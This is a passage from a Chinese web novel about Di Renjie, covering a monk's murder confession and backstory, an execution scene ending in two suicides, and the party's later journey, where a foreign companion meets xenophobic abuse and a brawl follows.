胡乐道:“就是……比皇帝小点儿,又比你大点儿的。” 随缘道:“皇帝?皇帝又是什么?难道比佛祖还大吗?” 里面慧真叹了口气,道:“罢了,叫他们进来吧。” 打开了门,房间狭小,真就“方丈”那么大,容不下这许多人。 见那慧真身披袈裟,须眉花白,面容干枯,体格偏瘦,闭眼端坐在垫子上。 巴兰姆道:“怀英兄,那我们几个就不进去了。” 狄仁杰点了点头。 随缘道:“那你们随我来吃斋饭。” 胡乐道:“有没有肉?” 随缘道:“没有。” 遂只跟去了胡乐、梅四儿二人。 其余虽未进屋,却都留在了外面。 这时都已知道那慧真方丈便是杀害张老爷的凶手,因此也算是个危险人物了。 狄仁杰进去了,正待关门,那慧真却道:“不必关啦,都看吧,听吧。” 几人又怕他突然出手袭击狄仁杰,遂都时刻注视着,好在紧要关头出手相救。 这时暮色苍茫,一片金光笼罩着寺院。微风拂面,令人又温暖又寒凉。 狄仁杰坐在了慧真对面,见他神情复杂,呆望着门外的夕阳。 听他开口缓缓说道:“人生有八苦:生,老,病,死,爱别离,怨憎会,求不得,五阴炽盛。” 狄仁杰苦笑了一下,道:“好像我,除了‘死’,都经历过了。” 慧真看了狄仁杰一眼,道:“狄施主,果真是断案如神,竟能查到老衲这里来。” 狄仁杰道:“你是一位德高望重的老僧,为什么要这么做?” 慧真哼哼苦笑了两声,叹了口气,道:“晚啦。” 狄仁杰道:“只要你在明日午时三刻之前自首,那就为时未晚。” 慧真皱着眉,嘴唇不停地颤抖。 洪辉道:“那位张太太既愿意为你担当罪名,你又为什么不肯救她?你难道不知道她明日就要被斩首了吗?而且是因为你的罪!” 慧真叫道:“我知道!可我……我……我不敢……”说着哭了起来。 狄仁杰看着他道:“你放不下名。” 慧真摇头哭道:“我当住持四十多年了……我……我真就是放不下呀!” 狄仁杰指着厉声骂道:“那你有没有问过你的良心你到底配不配!” 慧真哭叫:“我不配!” 狄仁杰喘了口气,道:“你为什么要杀人?” 慧真用手掌擦泪,看着狄仁杰道:“我不后悔杀那姓张的。” 狄仁杰道:“你到现在还不悔悟。” 慧真叫道:“你不明白!”说着,从垫子底下抽出一把沾满血迹的刀,唬得门外几人一声惊呼,连忙拥了进来,喝道:“你要干吗!” 狄仁杰一个手势阻止,看着慧真手中的刀,道:“杀人凶器。” 慧真道:“不错,我就是用这把刀,捅死了那个姓张的!” 巴兰姆忙道:“大师,你冷静些,先放下手中的刀。” 慧真把刀看了几眼,便扔到地上去了,狄宁忙拾了起来。 狄仁杰道:“你能跟我们说说,你的故事吗?” 慧真遂款款道来:“太久了,我都快忘了。我记得,这是四五十年前的事了。那时,我也还只是个二三十岁的小伙子。小果她……也就是张……呵,就是做了那个死鬼太太的,她……她不姓张!她叫殷果!那时,她也跟我差不多大,我们……我们是表兄妹……” 几人惊道:“什么?张太太是你表妹?” 慧真叫道:“她不姓张!她姓殷!殷商的殷!”又道:“我们两个从小一块儿长大,相亲相爱,我们都说好了永远也不要分开。我当时,我跟她刚做生意回来,我们……我们刚赚了一大笔钱啊。我们……我们就准备,在跟我的父母相见了以后,我们两个……我们就结婚。我们……我们永远在一起,永远也不要分开。当时啊,小果的父母都已经去了。我们那两家,关系自然是很亲密的。我爹娘,他们也从小看着小果长大。她……她是个非常可爱,又活泼的小姑娘。他们……他们都非常赞同我们两个在一起,他们……他们对我们很好。我们……我们从小啊,我们就很穷啊,我们……我们一起住在乡下,我们……但是我们很快乐。你们不知道吧,简单的生活并不会让人不快乐。那是一种……很美好,很单纯的满足。我们……我们很快乐呀。我父母他们,他们一直就没有过过什么好日子。但是,他们人很好啊,他们一生和和气气的,从来没有得罪过别人啊……他们……他们应该有好报啊。我……我不明白有的东西,我不明白。当时啊,我跟小果,我们两个赚了钱,我们,我们,我们就想让爹娘他们过过好日子啊,我们就想让他们能够享享福,这很难吗?我们赚钱啦,一大笔钱啊。我们终于可以过上好日子啦。我们……你们知道吗?就在我们两个,我们欢欢喜喜地进了家门的那一瞬间,我们看到了……一群强盗正在洗劫我们的家!我爹娘,他们……他们就躺在地上,一动也不动,浑身上下都是血,他们已经死了……为什么……为什么……那群强盗没有走啊,他们不但抢走了我们身上的钱,还当着我的面……对小果她……啊!啊!”说得满面是泪,双手抱头狂叫了起来,脸上松弛的肌肉都扭曲了。他又悲愤地大叫:“我恨!我恨!我恨!我告诉你们,那群强盗的头子,就是那个姓张的老爷!他发家用的是我们的钱!他残害了我的父母,玷辱了我的表妹,又抢走了我的未婚妻!”说着拉开衣服,指着身上的好几道疤痕道:“你们看到了没有,我被砍了十几刀,我差点就死了!他们也真的以为我已经死了!我当时身上好痛啊,可是还远没有心里痛!我未婚妻的哭喊声就在我耳旁回荡,我却救不了她……我……我……我不是个男人,我没用啊……后来,他们就把她带走了,临走前还放火烧房,我差点又死在了火海之中。我于是用了我最后一口气拼死爬了出来,我爬了出来,我爬了出来,我被火烧得好痛啊,好热呀,我好像在地狱里受折磨啊……我爬呀,爬呀,在大雨的烂泥地上爬呀,我爬得好累啊,我都想死了……我失去了什么?我又得到了什么?哈哈哈哈哈……天哪,我不知道怎么爬到了觉州城啊!我在日光之下,大街之上,我在爬呀,我在爬呀,没有人理我呀……哈哈哈哈哈哈哈,啊……哈,人哪,你们的善良啊!我……呵呵呵,我不知道怎么坚持下来的,我当然呢……呵呵呵,我爬到了雷隐寺啊,啊?唉呀,后来呀,我就昏迷啦,我昏迷了不知多久呀,我醒来啦!哈哈哈,嘻嘻嘻,嘿嘿嘿嘿,我醒来啦!我醒来了以后,才知道,原来是寺里的了悟方丈救了我,所以我才能够活到今日啊,我还没死呀。呵呵,你们以为,我生来就是当和尚的 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吗?啊?呵呵呵,唉呀。后来,我甘愿受戒,了悟方丈,他便帮我剃度了。可至此以后,我却没有一刻不想着复仇,更是思念着小果……我……不知道她现在怎么样了。了悟方丈却了解我的心思,常常跟我说:‘一入佛门,红尘往事俱成空。放下诸情,贪恋嗔恨无影踪。’就这一句话呀,我谨记了有四十多年哪,我无时无刻不铭记在心啊。可是各种爱与恨的念头却始终缠绕着我,令我痛苦,悲伤,迷茫,绝望,我忘不了!后来,了悟方丈他……他圆寂了。那时雷隐寺,只是个建在山上的小寺庙,还没有如今这么大。了悟方丈他,他将衣钵传给了我,我于是便当住持了。‘这是一个非常重要的职位,不容亵渎’,因为了悟方丈是这么说的。他早在坐化以前,就曾提醒过我,说,人哪,很可悲啊,无非是,放不下呀。人放不下名,放不下利,放不下情,更放不下自己的心……这么多年来,我一直在试着放下。放下,放下……哼哼,我说这么多,你们几个都听烦了吧?唉呀,这可是我憋在心里几十年的话呀,我没有跟人说过。我只是日日夜夜向佛祖祷祝,求他帮我忘掉这一切。忘掉……我对那群强盗的恨。还有……对她的爱呀。我知道,我实际上一直都忘不了,因为那份情太真,太深了。仇恨,在爱面前都显得微不足道。可是到底是谁毁了这份爱呢?啊?佛祖啊,你不是也允许了吗?你允许这一切发生啊。虽说,众生平等,可是人与人之间,又哪有什么公平?每个人的经历与痛苦,能等量齐观吗?‘善恶到头终有报,只争来早与来迟’,这话,是真的吗?因果报应,世道轮回,这……为什么这世上,好人不一定有好报,恶人也不一定有恶报呢?天理公平,他们在哪儿呢?我一直在逃避,不敢去面对自己的内心,更不敢去直视这世间的真相。我,我以为我已经放下了。可是当我得知了觉州城里当上了首富的那个大财主竟是那个害了我一生的强盗时,我就想杀人!我……我……我可以忍,我可以忍!我可以忍一天,两天,三天,四天,一年,两年,三年,四年,十年,二十年,三十年,四十年,甚至是一辈子!可是当我看到了她……就在几天前,偶然间,我信步来到了大殿之上,我……我无意中看到了她。她呀……她也老啦。我……我就站在角落里,这么呆呆地,傻傻地,凝望着你,就像从前那样。我一下子就认出了你来,你啊,你跟当年还是一模一样啊。你没有变,至少在我心里,我看到的还是从前的你。你苍老的面容,使你变得更加的美丽。韶华已逝,青春不在,唯有初心未改。我看得出来,你这么些年,并不快乐。我只想保护你,爱你,就像从前那样,我们两小无猜,一起玩耍。可是……这都回不去了……你们知道吗,我为什么可以到城里各户人家去说法,却只是回避着那张家?因为我怕我见到了他以后我会忍不住要杀他!我早就知道了,他是我的仇人。可我最爱的人,竟然被迫嫁给了他!为什么!为什么命运这么捉弄我!我一直在忍,忍了四十多年哪!我每时每刻都在挣扎,都在试图放下!我不想看到他!也不想看到……她。可是我看到了她,看到了她,我心里的仇恨一下子涌了上来,我什么都记起啦!我……我要杀了他,杀了他!我立时冲到了厨房,我见四周没人,我就拿起了一把菜刀,我现在就要下山去杀了那个姓张的!我要捅死他,把他千刀万剐!可这时,我突然想到,我是雷隐寺的方丈,一个入了空门四十余载的老僧,我……我还受了了悟方丈之托,要将佛法发扬光大,普渡众生。我……我怎么能杀人呢?不说我是一寺住持,但凡受三皈五戒者,又岂能明知故犯?便是一个普通人,也不能杀人啊。可我……我居然杀啦!就在那一瞬间的犹豫过后,我竟将一切的清规戒律抛诸脑后,在衣袖里藏了菜刀,借故下山,首次来到了张家。我当时想,我来干吗?我……我是来杀人的?这……这可是我一直以来连想都不敢去想的一个问题,而我现在居然要……付诸行动?我在干吗!我盯着他张家的大门,浑身都在颤抖,因为我感到害怕。我不敢去敲那个门,可是我也不舍得离开。我深深地怀疑,我到底想不想杀人。我是想吗?我不想我来干吗?可是如果我想,我犹豫什么?我右手紧握着左袖里藏的那个刀柄,我感到我的手掌心全都是汗。我浑身的肌肉都在颤抖,一直不停地抽搐。我越来越怕,可是我也越来越执着。我觉得我既然都来了那我就是杀了你又怎么样!我脑海里当然也有划过一个念头,那就是……事后怎么办?我的名声,我的德行,我的修为,是否要就此功亏一篑!我……我忍了四十多年哪,为什么会在今日呢?一失足就成了千古恨!我当时还隐约记得,我身边好像走来了很多很多的行人,他们都围在我的身边,跟平时一样跟我打着招呼。我当然,也是不由自主地流露出了跟平时一样的笑容,向他们亲切地回话!那一刻啊,我也觉得我很虚伪,可是我又是自然而然地这么反应了,因此我没有装!他们一个一个地来,又一个一个地去,而我,还站在门口。我手中依然紧握着那把菜刀,虽然时而又会不自觉地想松开,可是我,还是握紧了。我第一次注意到天空好像是蓝的,而我的心好像是狠的。我虽然明确地知道我马上就要把他给杀了,可是我到现在都还没想好要怎么去杀他。这时,门开了。一个仆人走了出来,见到了我,认出了我来。他恭敬地邀我进去作客,我便进去了。我越往里走,我反倒越不怕了。后来,我到大厅里见到了他,那个丑恶的嘴脸!他没有变,跟当年一样恶心!他却没有认出我来,反为我突然来到他府上作客而高兴!你们都听烦了吧?好,我捡紧要的说。这姓张的自然是没有提防我,我于是就趁他不备,抽出菜刀便连着捅了他有十几刀!你们听到了没有!十几刀!一!二!三!四!就这样子!这样子!这样子捅!他会痛!他还想叫,可是我不让你叫!我往你脑袋上一戳!我戳!我戳!我戳!你死吧!他呀,还来不及认出我来,就死了。死得太容易了,我还没捅够呢!……突然,门开了。我知道一切都完了。我先是听到了一声苍老的惊呼,是一个老妇人来了。接着却是……一个少女清脆的嗓音叫道:‘表哥!’我忙一回头,见到一少女,竟是我表妹殷果!我不由得笑道:‘表妹!’她一脸笑容,缓缓走了过来,却是一个苍老的妇人。她一脸惊惧,目瞪口呆,看了看那具躺在椅子上血淋淋的尸体,又看了眼我手上拿着的那把兀自滴着鲜血的菜刀,最后再看着我,含泪摇头,一句话没说。我也呆看着她,似乎都忘了我刚杀完人。这时听到了脚步声响,有人走了来。她忙叫我躲在帘子后面,我便躲了。至于为什么,可能因为,是她叫我这么做的吧。后来人走了,她又忙叫我出来,要我赶紧也走,我便走了。至于缘故……可能还是因为是她叫我这么做的吧……”说着傻笑了起来。 这时随缘领着吃饱了饭的胡乐、梅四儿二人回来了。 见那慧真方丈像个傻子似的一直在笑,狄仁杰几人更像几个傻子似的一直在听。 胡乐打了个嗝,道:“聊来聊去,尽属执着。” 随缘道:“善哉,善哉。施主颇具宿慧。” 胡乐道:“上斋,上斋!你刚才那个‘素烩’是挺素啊,全是他妈蘑菇豆腐!” 随缘合十道:“阿弥陀佛。施主有此悟性,定可早生极乐。” 次日午时左右,法场上早已比肩接踵。 来看热闹的百姓人山人海,都围在行刑台的四周谈话说笑。 上座有一排椅子,坐的皆是觉州城里的官员乡绅、富商豪客等具威望之人。 一时,见那张太太身穿囚服,被人押了上来,场上登时沸腾。 众人都指着她讥讽嘲笑,破口大骂,又朝她吐唾沫。 她面无表情,一根根散乱的银发在日光之下随风摇曳。 她平静地走上了行刑台,头伏在了木砧之上。 旁边站着个刽子手,手握钢刀,就等着午时三刻一到,便即行刑。 昨天那门子张三也站在人群当中,紧张地想道:“不知狄阁老他们破案了没有,怎么到现在还不来……” 午时三刻将至,已经传来了一声“准备行刑”。 就在一片肃静中,忽听得几人叫道:“不要行刑!” 只见几人穿过人群,来到了台前,大叫:“此案有冤情!” 张三认了出来,是狄仁杰他们! 众人不认得狄仁杰几人,却都认得其中一人:慧真方丈。 登时都叫嚷起来:“是方丈大师!”“慧真大师来了!” 台上张太太一听,连忙睁开眼来,向前一看,见了慧真,见他也正望向自己,不觉呆住了。 上座之人见大名鼎鼎的雷隐寺方丈竟遽尔驾临,都出乎意料,面面相觑,站了起来。 听洪辉叫道:“这位太太不是凶手,不能杀她!” 韩忠义也大叫:“不能杀!” 鹃儿也叫:“不能杀,不能杀!” 胡乐也叫:“不能冤枉了人!” 众人听了,都呆住了。 有的想笑的,见慧真方丈也在其中,便不敢笑了。 张三犹豫了一下,也出来叫道:“我看这个案子可能……确实有冤情!大家……都听听吧!” 众人看着他叫道:“你谁啊?” 张三道:“我……我是个看门的!” 众人叫道:“你凭什么说有冤情啊?” 张三道:“我……我也不知道!” 洪辉道:“你不用怕他们,你过来,我们都查到证据了。” 张三忙过来了,悄声问道:“阁老,查到凶手了吗?” 狄仁杰皱着眉,轻轻叹了口气,道:“查到了。” 张三道:“是谁啊?” 慧真道:“我。” 张三惊道:“方丈!” 原来昨日慧真说完那一段话后,狄仁杰几人又与他谈了整整一夜。 那慧真因犯杀戒,本自有悔意,又长年深受佛法熏陶,心地毕竟是善良的,且更不欲张太太无辜代己受罚。遂在几人规劝之下,于最后一刻幡然悔悟,便立刻跟着几人飞奔下山,一同来至法场,准备当众自首。 这时叫道:“诸位都知道!我,是雷隐寺的方丈,法号慧真!可你们不知道,我还有一个俗名,叫做‘钟杰然’!” 那张太太只是望着他,眼睛含泪,一直摇着头。 慧真说话的时候,虽然看的是众人,可余光却只是注视着她。 他一面说着话,一面便看见了,那眼眶立刻就湿了。 这时又哽咽着叫道:“我!我是个杀人凶手!……你们没有听错,我刚刚,就是这么说的。我……杀人啦。你们不要错怪了她,她是无辜的。她的丈夫张老爷,是我杀的。” 听了这话,众人的反应可想而知,更多的是难以置信。 上座有人说道:“慧真方丈,请移步过来一坐。午时三刻现在已经过了,我们要行刑了。” 慧真看着他瞪眼叫道:“不!不能行刑!” 有人道:“大师,我们知道你善良,可这张太太是个杀人犯,你也不能这么替她解围吧。” 慧真忙叫:“我没有!我说的是实话!” 一个官员缓缓说道:“下官久慕住持大人之贤名,只恨无缘前来拜会,实乃平素一大憾事。还有贵寺曰雷隐者之芳名,亦是声闻遐迩,远扬四海,令凡有耳之人无不为其而欣然踊跃,钦仰无已,争先恐后欲来观览,同时一睹方丈大人鹤发童颜之神采,以了结毕生之夙愿。大人住持宝刹四十余载,佛法之修为自是已臻化境,无与伦比,天下无二,古今无双,堪称诸圣中之至也……” 胡乐指着骂道:“你他妈的‘猪肾汁也’够了没!你放你妈的屁呢!” 另一个官员喝道:“哪儿来的刁民,竟敢到法场来闹事!” 胡乐朝他喝道:“我是你爹!” 那官员指着道:“你……你敢以下犯上!” 胡乐喝道:“我敢以上犯下!” 那官员怒道:“来人哪,给我抓了!” 行刑官劝道:“不如先行刑,再为处置不迟。” 随即朗声道:“张氏,为抢夺财产,谋杀亲夫,现已认罪供状,就待伏诛!” 又叫一声:“斩!” 刽子手立时举起钢刀来。 慧真大叫:“不能杀!” 朝行刑台上直扑将去,挡在了钢刀之前,众人一声惊呼。 洪辉指着怒叫:“你们为什么急着行刑!那个张老爷死后的财产到底去了哪里!” 上座之人一听,登时有一半跌了下椅,都叫:“你说什么啊!” 洪辉叫道:“你们既说她杀人是为了抢夺财产,那她到底有没有抢到财产!她一下子就被你们给抓了,那那姓张的一大笔钱又都去了哪儿!” 他们叫道:“我们怎么知道!” 洪辉叫道:“你们知道!” 那行刑官听他这么一说,脸上青一阵白一阵,喝命刽子手:“快杀人!” 刽子手见慧真挡在面前,不敢砍下去。 韩忠义指着上座之人乱叫:“贪官污吏,贪官污吏!你们杀人灭口,杀人灭口!” 鹃儿也叫:“杀人,杀人,杀人!” 众人中许多想趁机闹事的也都跟着吵嚷起来,登时法场一片混乱。 就在一片喧嚣中,那张太太看着慧真哭道:“表哥……” 慧真也看着她哭道:“表妹……” 那刽子手粗声粗气道:“你们是表兄妹啊?” 慧真哭道:“她叫殷果,是我表妹!” 殷果哭道:“表哥,你快走吧,我不想连累你……” 慧真大叫:“不!我不走!我从前没能保护你,我现在要保护好你……” 殷果微笑道:“表哥,其实我这么多年,我一直就知道,你已经是雷隐寺的方丈了。你……你既然已经出家了,我就不想再来打扰你。” 慧真道:“为了你,我就是不做和尚也罢了。” 殷果摇头道:“你不要这么说。你知道吗,这些年,我天天在为你祈祷。我每次上山,我又想看到你,我却也不自觉地回避。我……我不知道要怎么面对你。” 慧真嘴唇颤抖,一直眨着眼,试图不让眼泪流下,却还是流下了。 殷果道:“我虽然跟他过了四十多年,可我从来没有爱过他。我一生中无数次想过去死,可我在想到了你以后,就又打消了这个念头。”泪眼看着他,脸上露出了笑容。 慧真颤抖的右手想碰碰她的脸,可刚要碰到,又收了回去。泪水遮住了他的视线,眼前一片朦胧,都是从前的场景。 殷果抬头望着蓝蓝的天,想起以前跟表哥一起放风筝。那风筝飞呀,飞呀,轻飘飘的,自由自在,就像我们一样。我们牵着手,在草地上笑着走。 殷果道:“我可以走了。”说着,头使劲往木砧上一撞。 那刽子手没来得及阻止,“哎哟”叫了一声。 慧真一见,一时竟没反应过来。突然轻轻叫了声:“小果……” 那殷果躺在一滩血中,已然气绝。 慧真想扶她,可不知道怎么扶。 那刽子手虽是个粗汉,却也流下了泪来。 众人一见张太太死了,都一齐静了下来。 慧真轻轻地抱着她,抚摸着她的银发,笑道:“好,好,好啊,去了好啊。从今以后,不用,再在人世受苦啦。” 众人中许多一听,都滴下泪来。 狄仁杰几人也是潸然泪下。 慧真遂将殷果轻轻地放下了,缓缓站了起来,看着众人朗声道:“众生皆有苦难。但是,这世上有一样东西,值得我们为了它,勇敢地活下去。那就是,爱。这世上的亲情,友情,爱情,还有人与人之间最纯朴的感情,那都是世间的真理!你们要彼此相爱,不要互相仇恨。因为爱,已经胜过了一切!”含泪望着蓝天道:“小果,我要来陪你啦。”说着,从袖子里抽出那把菜刀,往脖子上一抹,当场倒了下去。 众人一声惊呼,赶忙来救,已然不及。 慧真方丈生前曾做过许多善事,因此觉州城里的人许多都为他流泪了。 当然,也有因目睹名流于临终之前身败名裂而兴高采烈者,也不必细说。 狄仁杰几人也只摇头叹气,即日便离开了觉州城,继续赶路。 45. 第四十五章 尽头 春寒料峭,阳光明媚,又是一年花红柳绿的季节。 狄仁杰一行自离觉州,晓行夜宿,不觉又半月有余。 沿途看不尽那山山水水,盎然春意,如画景色,勃勃生机。 行走之时,鸟语萦耳,坐卧之间,和风拂面,当真令人心旷神怡。 沿岸漫步,看着那山清水秀,狄仁杰有感而发,口占一首五言六句云: 连岸碧水清,半山白云绕。 锦麟戏浮萍,幽僻遁尘嚣。 不见摆渡人,何处迎归棹? 说着腿一软,险些摔下水去。 胡乐忙扶道:“哟,好湿啊老爷。” 巴兰姆也忙扶道:“怀英兄,小心点。” 狄仁杰苦笑道:“老啦,两腿都发软哪。” 巴兰姆点头叹道:“唉,是啊,年纪大了,都会力不从心啊。” 洪辉叹了口气,道:“先生今年都六十八了,还得走几千里路去边关,这皇帝也……” 狄仁杰道:“慎言,慎言。” 洪辉又叹了口气。 韩忠义又到处乱指着大叫起来:“我告诉你!朝廷上下都没人啦!巧者劳而智者忧,无能者无所求!” 鹃儿又神经质地大笑起来,拍手叫道:“鸟在叫,鸟在叫!呀!” 胡乐道:“老衲年方二八。” 鹃儿笑道:“小尼姑年方八二。” 韩忠义叫道:“做人难!我要做畜生!” 狄仁杰几人只是叹气。 一时来至渡口,见有许多舟楫。 一个老艄公正闲坐着,一见他们来了,便道:“过湖哩?” 狄仁杰道:“啊,对,到对岸。” 艄公打量了一番,道:“你们人多,我这一个船,恐怕坐不下哩。” 狄仁杰道:“哦,那我们就分坐两艘吧。” 艄公道:“你们会撑船不?” 狄宁道:“我会。” 艄公道:“嗯,那行,上来吧。” 一行人遂分坐两舟,共渡彼岸。 看那青山环绕,碧波荡漾,柳丝摇曳,绿影婆娑,真乃人间美景,醉人心魄! 一时到了对岸,巴兰姆正待取出钱来,那艄公这才注意到他,竟然是一个异国人,指着惊叫:“你……你不是汉人!” 几人都吓了一跳。 巴兰姆道:“我……” 那艄公一脸惊恐和愤怒,颤抖着指着他道:“你……你是个胡人……” 巴兰姆道:“我……我……给你船钱。” 那艄公连忙后退,指着大叫:“走!走!” 巴兰姆道:“这……这是船钱。” 艄公大叫:“我不要你的船钱!你给我走!” 洪辉道:“这位公公,你怎么啦?” 艄公道:“你们……你们赶紧走。你们别连累了我。” 胡乐道:“你怎么回事儿啊,咱咋地连累你啦。” 艄公道:“胡人……胡人……” 洪辉道:“胡人咋了?” 艄公道:“你们不要害我……” 狄仁杰道:“老先生,我们怎么会害你呢?” 艄公指着巴兰姆颤道:“他……他……是个胡人……” 洪辉道:“公公,这位巴大哥他是个好人哪。” 艄公道:“他……他是个胡人。” 巴兰姆道:“我……我是个胡人。” 又道:“船家,你先拿了船钱……” 艄公忙后退着大叫:“你给我走!” 就要摔下水去,巴兰姆忙来扶道:“哎呀,小心啊……” 艄公被他扶住了,大声惊叫。 巴兰姆见了,吃了一惊,忙松开了手。 艄公哭道:“我求你了,你别杀我……” 巴兰姆看着他,眼睛含泪,轻轻摇头。 艄公哀求道:“我求求你们放了我,我还想活呀……” 狄仁杰几人互看,都手足无措。 巴兰姆又伸手递钱,唬得那艄公连忙上船划走了。 几人都叹了口气。 巴兰姆转过身来,笑着摇了摇手。 狄仁杰点了点头。 几人遂都默默无言,穿过了一片山脉,来至下面的小城镇。 只见街上行人络绎,颇为热闹。 几人正行走间,忽听得四周传来谩骂声: “喂喂喂,都过来看啊!哪儿来的胡狗?” “瞧他那杂种的模样儿!” “异国来的狗就是不一样呢!” 狄仁杰几人还未反应过来,见街上众人都是一副挑衅的神色望着自己,才知道又是在骂我们。 那些人指着巴兰姆骂道:“说的就是你呢!你个脸上抹了狗屎的胡狗!” 巴兰姆一脸茫然。 狄仁杰道:“我们又没有得罪你们,你们干什么骂人?” 众人道:“没骂人,是骂狗。骂胡狗!” 洪辉指着怒叫:“你们干什么!巴大哥怎么得罪你们了!” 众人叫道:“我们骂一条异国来的老狗要你管!” 胡乐大叫:“你们有病!你们有病!” 众人道:“哦,原来你们是一伙儿的呀。八个汉奸和一条胡狗!” 狄仁杰几人怒极。 巴兰姆忙劝:“诸位,你们不要错怪了他们,他们……” 众人道:“哟!胡狗也会说人话!” 巴兰姆道:“我……我不是狗。” 众人骂道:“你就是一条狗!异国来的狗!” 韩忠义手一挥狂叫:“都给我滚开!” 众人骂道:“还有几个臭不要脸的汉奸,敌国的走狗!把你们送到官府,千刀万剐!” 鹃儿指着众人大叫:“坏!坏!坏!” 众人大笑。 狄仁杰气得受不了了,脑袋痛的快要炸裂,大叫一声便昏倒在地。 巴兰姆赶忙搀起,见韩忠义、胡乐、洪辉都狂叫一声,朝众人直扑将去。 众人大吃一惊,都叫:“他们疯了!” 还来不及跑,一群人登时被扑倒在地。 韩忠义在地上到处乱滚,抓住人的腿就狠命咬,痛得那被咬者大喊大叫,却还是被群殴得昏迷了。 胡乐抓头发扇耳光打鼻子又戳人眼睛,无所不用其极,却还是被摁在了地上狠揍。 洪辉也是拳脚并用,乱打一通,使尽了平生武力之极致,却也难逃寡不敌众。 就连鹃儿也是尖声狂叫扑了过去,照他们脸上连着打嘴巴,被狄宁连忙拉了回来。 马肃又一把将众人推到吐血,一面将韩忠义三人救了回来。 这时大街上早已血流成河,此谓之“血战老百姓”是也。 狄仁杰醒了来,见了这场面,只是叹气不已。 梅四儿站在当中,既未动手,也自是毫发无损,见了这场面,不觉露出了欣喜的微笑。 巴兰姆含泪叹气道:“何必呢?都是人,为什么要互相伤害?” 众人躺在血泊里道:“俺们是人,你们是狗。” 天上乌云四合,下起雨来。 众人早啐了几口,骂了几句,一齐散去了。 韩忠义三人遍体鳞伤,兀自吐血。 其余几人扶着他们一齐到山野里去了。 凉风阵阵,雨添凄楚,再美的景象也都萧条了。 几个受了伤的人,尤其是受了内心的伤,着实难以愈合。 那种又悲又累的感觉,一路上也不知经历了多少。 可此刻更显得沉重,以致他们一齐摔在了烂泥地上,便一蹶不振了。 有的是真的爬不起来了,还有的是就算能爬得起来,也不想再爬起来了。 甚至有深感绝望的用舌头去舔烂泥吃,却也不嫌恶心。 身心俱惫的人们,一起仰卧在了那湿漉漉的泥泞地上,感受着那冰凉的雨滴,一丝丝地飘下来,倾洒在了面庞上,百感交集。 此刻,不想哭,也不想笑,只是感觉很累,但是眼睛也不想闭上,只想看着那,阴沉沉的天空,翻卷的乌云,还有那眼花缭乱的雨水,扑面而来,落在了眼眶里,代替了眼泪。 风吹过来,很清爽,全身都跟着打战。 这一阵凉风,好像回忆,好像感触,好像寂静的夜里,如水般的月光。 高高的树,遥远的天,躺在这里,很渺小。 这个世间,好像来过,也好像没来过,只有雨声存在。 哗啦啦,哗啦啦,很静谧。 寒风中,只有我的呼吸。 当我浑身颤抖了时候,我在哪里? 闭上了眼,都是阳光。 睁开了眼,都是黑暗。 黄昏,惆怅,孤寂。 忘我,存在,秘密。 你在哪里? 天意。 我在笑,笑。 人,自然。 时空,束缚。 挣脱,跌倒,仰卧。 雨停了。 骤临大雨,总是戛然而止。 一切都在变,一切也没变,只有我还在。 几人一齐爬了起来,感觉情绪异常的平静,甚至还觉得很开心。 蓝天白云,露出了阳光。 虽然全身湿淋淋的,都脏了,可却异常的舒适。 感觉人与自然完美的结合了。 我什么都没了,可是我也还存在。 我现在也不知道正在想什么,可能什么都没在想,也有可能什么都在想。 其实想不想有什么关系,都是对外界的感触。 我就是呆呆地站在这里,或者是坐在这里,我也还是我。 苦难也都还存在,不过在这一瞬间,也都尽属虚无。 我们开心的想笑,觉得世界挺大的。 树光秃秃的,发芽了,在向我招手。 海鸥在空中翱翔,欢快地鸣叫。 此刻,世间的忧烦与我无关,我只想笑。 就像那天上的飞鸟,一团团的白云,混着蓝蓝的天,清澈的阳光。 花花草草,炊烟袅袅。 狂喜的令人想哈哈大笑。 原来世间的美好,就在这里。 几人遂一笑了之,一句话也没说,便继续赶路。 一时来到了下一个市镇,怕巴兰姆被人看见,便都先躲在了一个僻静的巷子里。 狄宁、洪辉二人拿了钱,到饭店里去买了包子,回来跟几人一起吃。 听得街上有妇女和老人的声音哭道: “相公他回不来了……” “俺娃到了边关以后也就再也没有音信了……” “我孩儿也当兵,也没有再回来了……” “估计都已经死战场了……” “他还那么年轻,就这么一去不复返了……” “他抛下了我们一家人,留着我们孤儿寡母要怎么活呀……” 其他声音也叫道: “这该死的战争到底什么时候是个了啊!” “没啦,没啦!” “听说大军都已经全军覆没,整个西北都已经沦陷了!” “那……那我们靠近边关的不也都要遭殃啦?” “不止边关,都要亡国啦!” “哎呀!苦啊!” 夹杂着孩子的哭声,还有人惊恐地颤道:“听说那群野蛮人到处烧杀抢掠,见了男人就杀,见了女人就糟蹋,见了孩子就……” 其他人颤道:“就……就怎么样?他们……他们总不至于伤害孩子吧?” 那人含泪摇头“哎呀”叫,道:“岂止伤害呢……他们还把孩子戳在枪尖上,当作玩物一般的拿来虐待,在空中到处乱抛,把孩子切成了好几块,踏着他们的尸体嬉笑游玩……” 这话一出,众人一声惊呼。 许多母亲大叫一声,连忙抱紧了自己的孩子,有的甚至当场吓昏了过去。 那些孩子哭叫:“妈妈!妈妈!” 狄仁杰几人中好几个哭得脸上肌肉都扭曲了,却也不敢出声。 那群人大骂:“丧尽天良!”“畜生!”“猪狗不如!”“连孩子都不放过!” 天色已黑。 街上空荡荡的,隐约听见有猫叫。 春天余寒未消,夜间还是挺凉的。 晚风一吹,几人都打了个冷噤。 此刻城里人都恨死“胡人”了,因为有巴兰姆,几人遂也住不得客店了。 巴兰姆明知这般,忙掏出钱来道:“来,你们住店去,外面冷得很。” 几人哪肯。 巴兰姆叹了口气,道:“是我连累了你们。” 胡乐道:“你也别自责了,要没你,咱早都饿死了。” 狄仁杰道:“是啊,巴兄,我们患难与共。” 巴兰姆看着几人点了点头。 几人遂在巷子里勉强歇了一宿。 次日一早,又买了点干粮带上,便继续赶路。 这日狄仁杰叫买了几张纸还有笔墨,在路旁的石头上写了一封信,交与马肃道:“你拿着。” 马肃接了,问道:“狄公,这封信是做什么?” 狄仁杰道:“马肃啊,此次要辛苦你了。” 马肃道:“狄公有什么事,尽管说。” 狄仁杰点了点头,道:“如今,边关近了。我此次毕竟是奉旨出来,已经数月了,也都没有向陛下汇报。这封信啊,就是写给陛下看的。” 马肃道:“狄公……要我回洛阳?” 狄仁杰点头道:“是的。” 马肃道:“可我是个通缉犯,不好面圣的。” 狄仁杰道:“并不是叫你去直接面圣。我跟你说,你记住了:东南街的张府,里面张柬之大人……” 马肃道:“哦,我知道,张阁老。” 狄仁杰道:“嗯,你要把这封信交给他。” 马肃道:“交给张阁老?” 